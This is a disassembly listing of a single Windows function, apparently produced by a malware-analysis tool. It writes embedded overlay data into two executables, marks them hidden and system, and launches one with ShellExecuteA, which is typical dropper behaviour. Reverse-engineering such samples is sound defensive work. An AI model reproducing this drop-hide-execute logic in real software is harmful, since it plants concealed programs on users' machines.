Function at 0x401985
Capabilities:
Create process on windows
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x330
push ebx
push esi
push edi
lea edi, [ebp - 0x330]
mov ecx, 0xcc
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
push 0x40d278
push 0x40fc30
call fcn.004025f6
pop ecx
pop ecx
mov dword [ebp - 8], eax
mov esi, esp
push str.84738B8F_00909544_42D1C25ACDA42825C0B6427B70DA45380.exe
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp esi, esp
call fcn.004021c8
cmp eax, 6
je 0x401aa0
mov esi, esp
push str.84738B8F_00909544_42D1C25ACDA42825C0B6427B70DA45380.exe
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp esi, esp
call fcn.004021c8
push 0x40d27c
push str.84738B8F_00909544_42D1C25ACDA42825C0B6427B70DA45380.exe
call fcn.004025f6
pop ecx
pop ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x401aa0
and dword [ebp - 0x20], 0
and dword [ebp - 0x2c], 0
mov dword [ebp - 0x140], 0x100
mov dword [ebp - 0x20], pe_overlay
push dword [ebp - 8]
push dword [ebp - 0x140]
push 1
lea eax, [ebp - 0x134]
push eax
call fcn.004024e3
add esp, 0x10
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x401a78
push dword [ebp - 0x14]
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x134]
push eax
call fcn.004023dc
add esp, 0x10
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x2c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x140]
jge 0x401a76
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x140], eax
jmp 0x401a1f
push dword [ebp - 0x14]
call fcn.00402694
pop ecx
push dword [ebp - 0x14]
call fcn.00402386
pop ecx
mov esi, esp
push 6
push str.84738B8F_00909544_42D1C25ACDA42825C0B6427B70DA45380.exe
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp esi, esp
call fcn.004021c8
mov esi, esp
push str.84738B8F_00909544_42D1C25ACDA42825C0B6427B70DA45381.exe
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp esi, esp
call fcn.004021c8
cmp eax, 6
je 0x401b78
mov esi, esp
push str.84738B8F_00909544_42D1C25ACDA42825C0B6427B70DA45381.exe
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp esi, esp
call fcn.004021c8
push 0x40d27c
push str.84738B8F_00909544_42D1C25ACDA42825C0B6427B70DA45381.exe
call fcn.004025f6
pop ecx
pop ecx
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0
je 0x401b78
and dword [ebp - 0x158], 0
and dword [ebp - 0x164], 0
push dword [ebp - 8]
push 0x100
push 1
lea eax, [ebp - 0x26c]
push eax
call fcn.004024e3
add esp, 0x10
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0
je 0x401b4a
push dword [ebp - 0x14c]
push dword [ebp - 0x164]
push 1
lea eax, [ebp - 0x26c]
push eax
call fcn.004023dc
add esp, 0x10
jmp 0x401b03
push dword [ebp - 0x14c]
call fcn.00402694
pop ecx
push dword [ebp - 0x14c]
call fcn.00402386
pop ecx
mov esi, esp
push 6
push str.84738B8F_00909544_42D1C25ACDA42825C0B6427B70DA45381.exe
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp esi, esp
call fcn.004021c8
mov esi, esp
push 1
push 0
push 0
push str.84738B8F_00909544_42D1C25ACDA42825C0B6427B70DA45381.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp esi, esp
call fcn.004021c8
push dword [ebp - 8]
call fcn.00402386
pop ecx
push edx
mov ecx, ebp
push eax
lea edx, [0x401bc5]
call fcn.004021eb
pop eax
pop edx
pop edi
pop esi
pop ebx
add esp, 0x330
cmp ebp, esp
call fcn.004021c8
leave
ret